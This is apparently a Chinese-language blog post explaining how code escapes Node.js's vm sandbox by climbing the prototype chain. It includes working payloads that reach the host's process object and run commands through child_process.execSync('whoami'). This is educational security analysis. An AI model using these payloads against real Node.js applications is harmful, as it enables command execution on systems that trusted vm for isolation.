node.js沙盒逃逸分析

背景

在日常开发中,会在业务代码中直接使用eval/function/vm等功能,其中 eval/Function 算是动态执行 JS,但无法屏蔽当前执行环境的上下文,但node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。

沙盒简介

沙盒的特点在于很好的系统隔离性,在某种程度上,沙盒sandbox可以视为一个容器container,application运行在沙盒中,沙盒运行在windows操作系统上运行在沙盒中的application和沙盒外的application一样可以访问硬盘中的文件等资源。运行在沙盒中的application和沙盒外的application的主要区别在于:

  1. 对于沙盒外的application而言,沙盒内的application是透明的(即不可见的);

  2. 当沙盒内的application退出后,所做的更改将不会被保存

一个很好的例子是:当沙盒内的application退出后,沙盒内的application已下载或“安装”的恶意软件都将被丢弃。

总而言之,沙盒就是一个可以让你相对安全执行代码的环境

沙盒逃逸

首先来一段沙盒逃逸的实例,直接进行分析:

const vm = require('vm');
const ctx = {};
vm.runInNewContext('this.constructor.constructor("return process")().exit()', ctx);//vm.runInNewContext是编译和运行里面的javascript代码,其中的ctx似乎是可控的,而this指向了ctx
console.log('Never gets executed.');

以上事例大致可以拆分出:

tmp=ctx.constructor//object
exec=tmp.constructor//Function
exec('return Process')

以上被称为原型链的方式完成逃逸,个人感觉可以和继承的思想联系在一起,有点类似但是又不同,大概是通过往前引用原型链,引用到沙箱外的函数,从而实现逃逸

原理

img 根据这个图片进行讲解,就是在vm上下文通过原型链的prototype属性向上链接引用function,引用到全局数据实现在沙盒内进行沙盒外的function的调用。

实例分析

const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script(`this`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result.Function == Function); //false

其中this通过其__proto__属性指向的是主环境的Object.prototype,所以:

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

1.通过this的原型链向上获得主环境的function
2.然后通过(‘return process’)()获得主环境process变量
3通过process.mainModule.require导入child_process模块,实现命令执行

知识补充

process变量:是nodejs中的一个全局变量,
拿到这个环境变量,相当于此时是在主环境下进行函数的执行,类似偷梁换柱?

child_process模块:提供了命令执行的方法

http://nodejs.cn/api/child_process.html#child_process_child_process
https://chinese.freecodecamp.org/forum/t/topic/587
https://liotree.github.io/2020/04/29/vm2%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8%E5%88%86%E6%9E%90/

Author

vague huang

Posted on

2021-07-13

Updated on

2021-07-13

Licensed under

Comments